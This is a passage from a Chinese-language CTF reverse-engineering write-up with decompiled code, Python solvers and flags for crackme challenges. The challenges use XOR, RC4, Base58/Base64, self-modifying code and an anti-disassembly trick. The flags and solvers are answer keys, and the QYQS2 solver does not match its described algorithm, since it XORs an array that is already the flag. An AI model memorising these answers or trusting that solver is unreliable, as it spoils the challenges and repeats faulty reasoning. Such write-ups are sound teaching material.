  for ( i = 0; i < len; ++i )
    out[i] = i + rol8(KEY[i % klen] ^ in[i], KEY[i % klen] & 7);
}
uint8_t __cdecl rol8(uint8_t v, unsigned int n)
{
  return (v << (n & 7)) | ((int)v >> (8 - (n & 7)));
}

上面的checkcheck函数不说了,只是检查flag格式是不是SYC{} 从CIPHER得到密文[0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC] 从KEY得到密钥GEEK2025 在encrypt里对每个字符与key分别异或,然后再rol8里左移

exp

def ror8(v, n):
    n = n & 7
    return ((v >> n) | (v << (8 - n))) & 0xFF

def decrypt(cipher, key):
    klen = len(key)
    plain = []
    for i in range(len(cipher)):
        key_byte = key[i % klen]
        shifted = (cipher[i] - i) & 0xFF
        rotated = ror8(shifted, key_byte & 7)
        plain_byte = rotated ^ key_byte
        plain.append(plain_byte)
    return bytes(plain)

KEY = b"GEEK2025" 
CIPHER = [0x0A,0x84,0xC2,0x84,0x51,0x48,0x5F,0xF2,0x9E,0x8D,0xD0,0x84,0x75,0x67,0x73,0x8F,0xCA,0x57,0xD7,0xE6,0x14,0x6E,0x77,0xE2,0x29,0xFE,0xDF,0xCC]
cipher_bytes = bytes(CIPHER)
flag = decrypt(cipher_bytes, KEY)
    
print(f"Output: {flag}")

flag

SYC{asdjjasdhjk12wk12ijkejk}

ezRu3t

解题流程

这题代码没法读,纯靠猜,在String的subviews里发现了

!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstu

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Base85和Base64的编码表,合理猜测这题是这两种编码加密的flag 同时发现一串疑似密文的编码

<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S

经过Base85和Base64解密后的确得到了flag

exp

直接用Cyberchef一键解密

flag

SYC{Ohjhhh_y0u_g3t_Ezzzzz3_Ru3t!@}

ezSMC

打开ida直接查看代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  int v4; // eax
  int v6; // eax
  CTX ctx; // [rsp+20h] [rbp-60h] BYREF
  uint8_t key[1]; // [rsp+127h] [rbp+A7h] BYREF
  int binlen; // [rsp+128h] [rbp+A8h] BYREF
  int hexlen; // [rsp+12Ch] [rbp+ACh] BYREF
  char input[1024]; // [rsp+130h] [rbp+B0h] BYREF
  char *en3; // [rsp+530h] [rbp+4B0h]
  char *en2; // [rsp+538h] [rbp+4B8h]
  char *en1; // [rsp+540h] [rbp+4C0h]
  uint8_t *bin; // [rsp+548h] [rbp+4C8h]
  uint8_t *hex_ascii; // [rsp+550h] [rbp+4D0h]
  const char *cipher; // [rsp+558h] [rbp+4D8h]

  _main(argc, argv, envp);
  cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7";
  printf("Plz input your flag miao: ");
  v3 = __acrt_iob_func(0);
  fgets(input, 1024, v3);
  input[strcspn(input, "\r\n")] = 0;
  hex_ascii = ascii_to_hexbytes(input, &hexlen);
  bin = hexstr_to_bytes((const char *)hex_ascii, &binlen);
  key[0] = 17;
  init(&ctx, key, 1);
  encode(&ctx, bin, binlen);
  en1 = bytes_to_hexstr(bin, binlen);
  miao_encrypt();
  v4 = strlen(en1);
  en2 = Base64((const uint8_t *)en1, v4);
  if ( en2 )
  {
    v6 = strlen(en2);
    en3 = Base58((const uint8_t *)en2, v6);
    if ( !strcmp(en3, cipher) )
      puts("Correct!");
    else
      puts("Wrong!");
    free(hex_ascii);
    free(bin);
    free(en1);
    free(en2);
    free(en3);
    return 0;
  }
  else
  {
    puts("encodee returned NULL");
    return 0;
  }
}

虽然直接得到了密文,但是加密过程并不能看到那几个加密函数的内容,可以在miao_encrypt函数的地方断点,动态调试,运行到该处时得到解密后的加密函数的内容,选中区域undefine后重新定义函数就可以得到可以阅读的伪代码

void __cdecl encode(CTX *ctx, uint8_t *data, int len)
{
  int n; // [rsp+2Ch] [rbp-4h]

  for ( n = 0; n < len; ++n )
    data[n] ^= getbyte(ctx);
}
uint8_t __cdecl getbyte(CTX *ctx)
{
  uint8_t t; // [rsp+Fh] [rbp-1h]

  ctx->j += ctx->S[++ctx->i];
  t = ctx->S[ctx->i];
  ctx->S[ctx->i] = ctx->S[ctx->j];
  ctx->S[ctx->j] = t;
  return ctx->S[(unsigned __int8)(ctx->S[ctx->i] + ctx->S[ctx->j])];
}
char *__cdecl Base64(const uint8_t *buf, int len)
{
  int v3; // eax
  char v4; // al
  int v5; // edx
  char v6; // al
  int v7; // edx
  char *v8; // [rsp+28h] [rbp-18h]
  unsigned int v9; // [rsp+34h] [rbp-Ch]
  int i; // [rsp+38h] [rbp-8h]
  int v11; // [rsp+3Ch] [rbp-4h]
  int v12; // [rsp+3Ch] [rbp-4h]
  int v13; // [rsp+3Ch] [rbp-4h]

  v8 = (char *)malloc(4 * ((len + 2) / 3) + 1);
  if ( !v8 )
    return 0LL;
  v11 = 0;
  for ( i = 0; i < len; i += 3 )
  {
    v9 = buf[i] << 16;
    if ( len > i + 1 )
      v9 |= buf[i + 1] << 8;
    if ( len > i + 2 )
      v9 |= buf[i + 2];
    v8[v11] = encodee(unsigned char const*,int)::base64_table[(v9 >> 18) & 0x3F];
    v3 = v11 + 1;
    v12 = v11 + 2;
    v8[v3] = encodee(unsigned char const*,int)::base64_table[(v9 >> 12) & 0x3F];
    if ( len <= i + 1 )
      v4 = 61;
    else
      v4 = encodee(unsigned char const*,int)::base64_table[(v9 >> 6) & 0x3F];
    v5 = v12;
    v13 = v12 + 1;
    v8[v5] = v4;
    if ( len <= i + 2 )
      v6 = 61;
    else
      v6 = encodee(unsigned char const*,int)::base64_table[v9 & 0x3F];
    v7 = v13;
    v11 = v13 + 1;
    v8[v7] = v6;
  }
  v8[v11] = 0;
  return v8;
}
char *__cdecl Base58(const uint8_t *data, int len)
{
  int v2; // eax
  int v3; // eax
  char *out; // [rsp+28h] [rbp-38h]
  int *digits; // [rsp+38h] [rbp-28h]
  int size; // [rsp+40h] [rbp-20h]
  int k; // [rsp+44h] [rbp-1Ch]
  int p; // [rsp+48h] [rbp-18h]
  int i; // [rsp+4Ch] [rbp-14h]
  int j; // [rsp+50h] [rbp-10h]
  int carry; // [rsp+54h] [rbp-Ch]
  int carrya; // [rsp+54h] [rbp-Ch]
  int i_0; // [rsp+58h] [rbp-8h]
  int zeros; // [rsp+5Ch] [rbp-4h]

  size = 138 * len / 100 + 2;
  digits = (int *)calloc(size, 4uLL);
  for ( zeros = 0; zeros < len && !data[zeros]; ++zeros )
    ;
  for ( i_0 = zeros; i_0 < len; ++i_0 )
  {
    carry = data[i_0];
    for ( j = size - 1; j >= 0; --j )
    {
      carrya = (digits[j] << 8) + carry;
      digits[j] = carrya % 58;
      carry = carrya / 58;
    }
  }
  for ( i = 0; i < size && !digits[i]; ++i )
    ;
  out = (char *)malloc(zeros + size - i + 1);
  p = 0;
  for ( k = 0; k < zeros; ++k )
  {
    v2 = p++;
    out[v2] = 65;
  }
  while ( i < size )
  {
    v3 = p++;
    out[v3] = base58_table[digits[i++]];
  }
  out[p] = 0;
  free(digits);
  return out;
}

总结就是RC4+Base58+Base64

exp

import base64

BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
BASE58_TABLE = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"

class RC4:
    def __init__(self, key):
        self.S = list(range(256))
        self.i = 0
        self.j = 0
        j = 0
        for i in range(256):
            j = (j + self.S[i] + key[i % len(key)]) & 0xFF
            self.S[i], self.S[j] = self.S[j], self.S[i]
    
    def get_byte(self):
        self.i = (self.i + 1) & 0xFF
        self.j = (self.j + self.S[self.i]) & 0xFF
        self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
        return self.S[(self.S[self.i] + self.S[self.j]) & 0xFF]
    
    def crypt(self, data):
        result = bytearray()
        for byte in data:
            result.append(byte ^ self.get_byte())
        return bytes(result)

def base58_decode(data):
    leading_zeros = 0
    for char in data:
        if char == ord('A'):
            leading_zeros += 1
        else:
            break
    result = 0
    for char in data[leading_zeros:]:
        result = result * 58 + BASE58_TABLE.index(chr(char))
    decoded = bytearray()
    while result > 0:
        decoded.append(result & 0xFF)
        result //= 256
    decoded.extend([0] * leading_zeros)
    return bytes(reversed(decoded))

def base64_decode_custom(data):
    standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    trans = str.maketrans(BASE64_TABLE, standard_table)
    standard_b64 = data.translate(trans)
    return base64.b64decode(standard_b64)
def decrypt_flag(cipher_text):
    base58_decoded = base58_decode(cipher_text.encode())
    base64_decoded = base64_decode_custom(base58_decoded.decode())
    hex_bytes = bytes.fromhex(base64_decoded.decode())
    rc4 = RC4([17])
    decrypted = rc4.crypt(hex_bytes)
    hex_str = decrypted.hex()
    flag = bytes.fromhex(hex_str).decode('ascii')
    return flag

if __name__ == "__main__":
    cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7"
    
    try:
        flag = decrypt_flag(cipher)
        print(f"\n最终flag: {flag}")
    except Exception as e:
        print(f"错误: {e}")
        import traceback
        traceback.print_exc()

flag

SYC{OHhhhhhhh_y0u_Kn0m_SMCCCC@!}

QYQSの奇妙冒险

解题流程

先看ida伪代码

__int64 __fastcall main()
{
  char *v0; // rdi
  __int64 j; // rcx
  size_t v3; // rax
  size_t v4; // rax
  char v5; // [rsp+20h] [rbp+0h] BYREF
  char Input[76]; // [rsp+28h] [rbp+8h] BYREF
  char key[44]; // [rsp+74h] [rbp+54h] BYREF
  int QYQS[29]; // [rsp+A0h] [rbp+80h]
  int i; // [rsp+114h] [rbp+F4h]
  int k; // [rsp+134h] [rbp+114h]
  size_t v11; // [rsp+208h] [rbp+1E8h]

  v0 = &v5;
  for ( j = 80LL; j; --j )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  j___CheckForDebuggerJustMyCode(&_F26D15BD_FileName_cpp);
  strcpy(key, "QYQS");
  QYQS[0] = 2;
  QYQS[1] = 1;
  QYQS[2] = 16;
  QYQS[3] = 43;
  QYQS[4] = 28;
  QYQS[5] = 3;
  QYQS[6] = 23;
  QYQS[7] = 57;
  QYQS[8] = 6;
  QYQS[9] = 1;
  QYQS[10] = 34;
  QYQS[11] = 41;
  QYQS[12] = 14;
  QYQS[13] = 11;
  QYQS[14] = 45;
  QYQS[15] = 109;
  QYQS[16] = 6;
  QYQS[17] = 32;
  QYQS[18] = 23;
  QYQS[19] = 127;
  QYQS[20] = 56;
  Menu();
  j_scanf_s("%s", Input);
  if ( Strlen(Input) == 21 )
  {
    for ( i = 0; ; ++i )
    {
      v11 = i;
      v3 = Strlen(Input);
      if ( v11 >= v3 )
        break;
      Input[i] ^= i;
      v11 = i;
      Input[i] ^= key[i % 4];
    }
    for ( k = 0; ; ++k )
    {
      v11 = k;
      v4 = Strlen(Input);
      if ( v11 >= v4 )
        break;
      if ( Input[k] != QYQS[k] )
        goto LABEL_5;
    }
    typeWriterEffect(&byte_14001C468);
    j_printf("\n");
    j_printf(asc_14001C478);
    _getch();
    return 0LL;
  }
  else
  {
LABEL_5:
    typeWriterEffect(&byte_14001C448);
    return 0LL;
  }
}

输入长度为21,将输入内容的每一位与自己的位数异或后分别与key异或,key得到是 QYQS

exp

QYQS = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]

key = "QYQS"

flag = ""
for i in range(21):
    char = QYQS[i] ^ ord(key[i % 4])
    char = char ^ i
    flag += chr(char)

print("Flag:", flag)

flag

SYC{I_@m_QyqS_r1GhT?}

Gensh1n

解题思路

首先不要打开题目 先看ida,以防原神偷家

unsigned __int64 cleanup()
{
  int v1; // [rsp+8h] [rbp-238h]
  int i; // [rsp+Ch] [rbp-234h]
  int v3; // [rsp+10h] [rbp-230h]
  int j; // [rsp+14h] [rbp-22Ch]
  int v5; // [rsp+20h] [rbp-220h]
  int v6; // [rsp+24h] [rbp-21Ch]
  char v7[8]; // [rsp+28h] [rbp-218h] BYREF
  char s[256]; // [rsp+30h] [rbp-210h] BYREF
  char dest[264]; // [rsp+130h] [rbp-110h] BYREF
  unsigned __int64 v10; // [rsp+238h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  fflush(_bss_start);
  if ( !fgets(s, 256, stdin) )
    exit(1);
  v1 = strlen(s);
  if ( v1 > 0 && s[v1 - 1] == 10 )
    s[--v1] = 0;
  if ( !(unsigned int)validate_input_length((unsigned int)v1) )
    exit(1);
  for ( i = 0; i <= 7; ++i )
    v7[i] = global_nodes[16 * i];
  if ( !(unsigned int)validate_key(v7, 8LL) )
    exit(1);
  strncpy(dest, s, v1);
  dest[v1] = 0;
  compute_checksum(dest, (unsigned int)v1);
  stack_push(dest);
  stack_push(v1);
  stack_push(v7);
  stack_push(8LL);
  stack_push(sub_44656);
  stack_push(0LL);
  stack_push(4LL);
  reverse_call();
  if ( v1 != 28 )
    exit(1);
  v3 = 1;
  for ( j = 0; j < 28; ++j )
  {
    if ( dest[j] != result[j] )
    {
      v3 = 0;
      break;
    }
  }
  v5 = calculate_crc32(dest, 28LL);
  v6 = calculate_crc32(result, 28LL);
  if ( !v3 || v5 != v6 )
  {
    secure_memset((__int64)dest, 0, 0x100uLL);
    secure_memset((__int64)v7, 0, 8uLL);
    exit(1);
  }
  puts("Great!");
  secure_memset((__int64)dest, 0, 0x100uLL);
  secure_memset((__int64)v7, 0, 8uLL);
  return v10 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_44656(__int64 a1, int a2, __int64 a3, int a4)
{
  int i; // [rsp+20h] [rbp-220h]
  int j; // [rsp+20h] [rbp-220h]
  int v7; // [rsp+20h] [rbp-220h]
  int v8; // [rsp+24h] [rbp-21Ch]
  int v9; // [rsp+24h] [rbp-21Ch]
  int k; // [rsp+28h] [rbp-218h]
  char v11; // [rsp+2Ch] [rbp-214h]
  char v12; // [rsp+2Ch] [rbp-214h]
  _BYTE v13[520]; // [rsp+30h] [rbp-210h]
  unsigned __int64 v14; // [rsp+238h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  v8 = 0;
  for ( i = 0; i <= 255; ++i )
  {
    v13[i] = i;
    v13[i + 256] = *(_BYTE *)(i % a4 + a3);
  }
  for ( j = 0; j <= 255; ++j )
  {
    v8 = ((unsigned __int8)v13[j + 256] + v8 + (unsigned __int8)v13[j]) % 256;
    v11 = v13[j];
    v13[j] = v13[v8];
    v13[v8] = v11;
  }
  v9 = 0;
  v7 = 0;
  for ( k = 0; k < a2; ++k )
  {
    v7 = (v7 + 1) % 256;
    v9 = (v9 + (unsigned __int8)v13[v7]) % 256;
    v12 = v13[v7];
    v13[v7] = v13[v9];
    v13[v9] = v12;
    *(_BYTE *)(k + a1) ^= v13[(unsigned __int8)(v13[v7] + v13[v9])];
  }
  return v14 - __readfsqword(0x28u);
}
int __fastcall init_node(__int64 a1)
{
  __int64 v1; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  if ( a1 )
  {
    for ( i = 0; i <= 7; ++i )
    {
      *(_BYTE *)(16LL * i + a1) = arr[i];
      v1 = 16LL * i + a1;
      if ( i > 6 )
        *(_QWORD *)(v1 + 8) = 0LL;
      else
        *(_QWORD *)(v1 + 8) = 16 * (i + 1LL) + a1;
    }
  }
  else
  {
    LODWORD(v1) = puts("error");
  }
  return v1;
}

是个RC4,从result处可以读到密文

0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56, 0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81, 0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9, 0xA6, 0xBB, 0x16, 0x51

key在arr,是

geek2025

直接解rc4

exp

def rc4_decrypt(ciphertext, key):
    # RC4
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    plaintext = []
    
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plaintext.append(byte ^ k)
    
    return bytes(plaintext)
result = [
    0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56,
    0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81,
    0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9,
    0xA6, 0xBB, 0x16, 0x51
]
key = "geek2025"
plaintext = rc4_decrypt(result, key)

print("flag:", plaintext)

flag

SYC{50_y0u_pl@y_Gensh1n_too}

QYQSの奇妙冒险2

解题流程

这里直接打开看和之前那个奇妙冒险1差不多,算出来的结果也差不多,但事实并非如此 查看汇编代码

alt text
这里有段ucomiss,nop掉之后重新定义函数得到真正的伪代码 真正的伪代码:

__int64 Main()
{
  char *v0; // rdi
  __int64 i; // rcx
  _BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
  char v4; // [rsp+20h] [rbp+0h] BYREF
  char Input[76]; // [rsp+28h] [rbp+8h] BYREF
  char Key[44]; // [rsp+74h] [rbp+54h] BYREF
  _DWORD v7[29]; // [rsp+A0h] [rbp+80h]
  _DWORD v8[8]; // [rsp+114h] [rbp+F4h] BYREF
  _DWORD Src[8]; // [rsp+134h] [rbp+114h] BYREF
  int v10; // [rsp+194h] [rbp+174h]
  int j; // [rsp+1B4h] [rbp+194h]
  int k; // [rsp+1D4h] [rbp+1B4h]
  size_t Input_len; // [rsp+2B8h] [rbp+298h]
  __int64 v14; // [rsp+2C8h] [rbp+2A8h]

  v0 = &v4;
  for ( i = 128LL; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_7FF7AECD13D9(byte_7FF7AECE50A6);
  strcpy(Key, "QYQS");
  v7[0] = 2;
  v7[1] = 1;
  v7[2] = 16;
  v7[3] = 43;
  v7[4] = 28;
  v7[5] = 3;
  v7[6] = 23;
  v7[7] = 57;
  v7[8] = 6;
  v7[9] = 1;
  v7[10] = 34;
  v7[11] = 41;
  v7[12] = 14;
  v7[13] = 11;
  v7[14] = 45;
  v7[15] = 109;
  v7[16] = 6;
  v7[17] = 32;
  v7[18] = 23;
  v7[19] = 127;
  v7[20] = 56;
  Src[0] = 2143289344;
  j_memcpy(v8, Src, 4uLL);
  sub_7FF7AECD1320();
  sub_7FF7AECD1235("%s", Input);
  Input_len = j_strlen(Input);
  if ( Input_len >= 0x32 )
    sub_7FF7AECD12EE();
  Input[Input_len] = 0;
  if ( j_strlen(Input) == 21 )
  {
    v10 = 114514;
    for ( j = 0; ; ++j )
    {
      v14 = j;
      if ( j >= j_strlen(Input) )
        break;
      v10 += v7[j];
      v10 <<= Key[j % 4];
      Input[j] ^= v10;
    }
    for ( k = 0; ; ++k )
    {
      v14 = k;
      if ( k >= j_strlen(Input) )
        break;
      if ( Input[k] != dword_7FF7AECDF000[k] )
        goto LABEL_7;
    }
    sub_7FF7AECD1401((__int64)&unk_7FF7AECDC508);
    sub_7FF7AECD11C7("\n");
    sub_7FF7AECD11C7(asc_7FF7AECDC518);
    getch();
  }
  else
  {
LABEL_7:
    sub_7FF7AECD1401((__int64)&unk_7FF7AECDC4E8);
  }
  sub_7FF7AECD136B((__int64)v3, (__int64)&unk_7FF7AECDC370);
  return 0LL;
}

是给v10加上输入的每一位并左移,然后将输入的字符与v10异或,最后再与v7比较 直接逆了

exp

def decrypt():
    encrypted = [0x53, 0x59, 0x43, 0x7b, 0x4d, 0x40, 0x79, 0x5f, 0x62, 0x45, 
                 0x5f, 0x79, 0x30, 0x75, 0x5f, 0x46, 0x31, 0x6e, 0x64, 0x3f, 0x7d]
    key = "QYQS"
    key_ascii = [ord(c) for c in key]
    
    v7 = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]
    v10 = 114514
    
    v10_values = []
    for j in range(21):
        v10 += v7[j]
        v10 <<= key_ascii[j % 4]
        v10_values.append(v10)
    
    decrypted = []
    for j in range(21):
        decrypted_char = encrypted[j] ^ (v10_values[j] & 0xFF)
        decrypted.append(chr(decrypted_char))
    
    return ''.join(decrypted)

flag = decrypt()
print(flag)

flag

SYC{M@y_bE_y0u_F1nd?}

ez_vm

解题流程

看不明白,靠猜

unsigned __int64 __fastcall sub_9e8f7a(__int64 a1)
{
  size_t n; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Please enter the input string: ");
  fgets(s, 100, stdin);
  n = strlen(s);
  if ( s[n - 1] == 10 )
    s[n - 1] = 0;
  n = strlen(s);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 768LL), (const void *)(*(_QWORD *)(a1 + 96) + 256LL), 0x1DuLL);
  memcpy((void *)(*(_QWORD *)(a1 + 96) + 512LL), s, n);
  dword_50AC = n;
  dword_50CC = 768;
  dword_5134 = 768;
  vm_load_program(a1, &xor_compare_program, 37LL);
  vm_run(a1);
  if ( *(_QWORD *)(a1 + 32) )
    puts("Success: Input matches processed string!");
  else
    puts("Failure: Input does not match.");
  return v4 - __readfsqword(0x28u);
}

在这里发现了点线索,大概是个异或,直接下断点动调看看密文

alt text

0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03

众所周知flag的格式是SYC{} 直接拿已知的几位和密文异或,发现结果都是90,合理猜测是密文直接xor90就能得到结果

exp

cipher = [0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03]

# s = "SYC{"
# cipher = [0x09, 0x03, 0x19, 0x21]
# guess_key = [ord(c) ^ cipher[i] for i, c in enumerate(s)]
# print(guess_key)

key = 0x5A
flag = ''
for i in range(29):
    flag += chr(cipher[i]^key)
print(flag)

flag

SYC{W31c0m3_t0_r3@1_r3verse!}

GeekBinder

解题流程

直接把libattr.so拿ida打开

__int64 __fastcall attr_xor_cipher(__int64 a1, size_t a2, _QWORD *a3, size_t *a4)
{
  void *v7; // [rsp+28h] [rbp-8h]

  if ( !a1 || !a2 || !a3 || !a4 )
    return 0xFFFFFFFFLL;
  v7 = malloc(a2);
  if ( !v7 )
    return 4294967294LL;
  sub_1119(a1, a2, (__int64)v7);
  *a3 = v7;
  *a4 = a2;
  return 0LL;
}
__int64 __fastcall attr_get_hidden_cipher(_QWORD *a1, _QWORD *a2)
{
  _QWORD *v3; // [rsp+18h] [rbp-18h]

  if ( !a1 || !a2 )
    return 0xFFFFFFFFLL;
  v3 = malloc(0x5BuLL);
  if ( !v3 )
    return 4294967294LL;
  *v3 = 0x7C725E7310263C34LL;
  v3[1] = 0x5D666F5505541F1ELL;
  v3[2] = 0x4601535D19153A54LL;
  v3[3] = 0x4266037034165614LL;
  v3[4] = 0x505E5974340B0002LL;
  v3[5] = 0x5B5D536D18543A54LL;
  v3[6] = 0x5A666F4B19251713LL;
  v3[7] = 0x6A5E705F19550B38LL;
  v3[8] = 0x651594608251717LL;
  v3[9] = 0x506D5560340B5438LL;
  v3[10] = 0x440555705540209LL;
  *((_WORD *)v3 + 44) = 521;
  *((_BYTE *)v3 + 90) = 24;
  *a1 = v3;
  *a2 = 91LL;
  return 0LL;
}
unsigned __int64 __fastcall sub_1119(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+20h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(a3 + i) = *(_BYTE *)(a1 + i) ^ aGeek2025[i % 8];
  }
  return result;
}

最基础的异或加密,且key是geek2025

exp

alt text

flag

SYC{An@Iyz1ng_Th3_proc3ss3s_B3Tween_File3_1s_contr@ry_To_n0rm@l_pr@ctic3_1n_Re_eng1neer1ng}

obfuscat3

解题流程

这题代码量很大就不全粘进来了,但总结就这个关键

a1[i] += mysterious_box[(unsigned __int8)((int)(v19 - ((~(unsigned __int8)mysterious_box[v22] | ~((v13 & 0x7911131C | mysterious_box[v21] & 0xE3) ^ (mysterious_box[v22] & 0x1C | ~(unsigned __int8)mysterious_box[v22] & 0x86EEECE3))) + 1)) % 256)];

mysterious_box的数与密文相加,可以通过动调

alt text
在此处得到密文被处理后的结果

0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69, 
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74, 
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65, 
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f, 
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5, 
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62, 
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75, 
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f, 
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65, 
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb, 
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70, 
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72, 
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb, 
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f, 
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63, 
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f, 
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f, 
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f, 
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64, 
0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f, 
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

再将调试的时候中间修改的一部分改回去就行

exp

cipher = [0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69, 
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74, 
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65, 
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f, 
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5, 
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62, 
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75, 
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f, 
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65, 
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb, 
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70, 
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72, 
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb, 
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f, 
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63, 
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f, 
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f, 
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f, 
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64, 
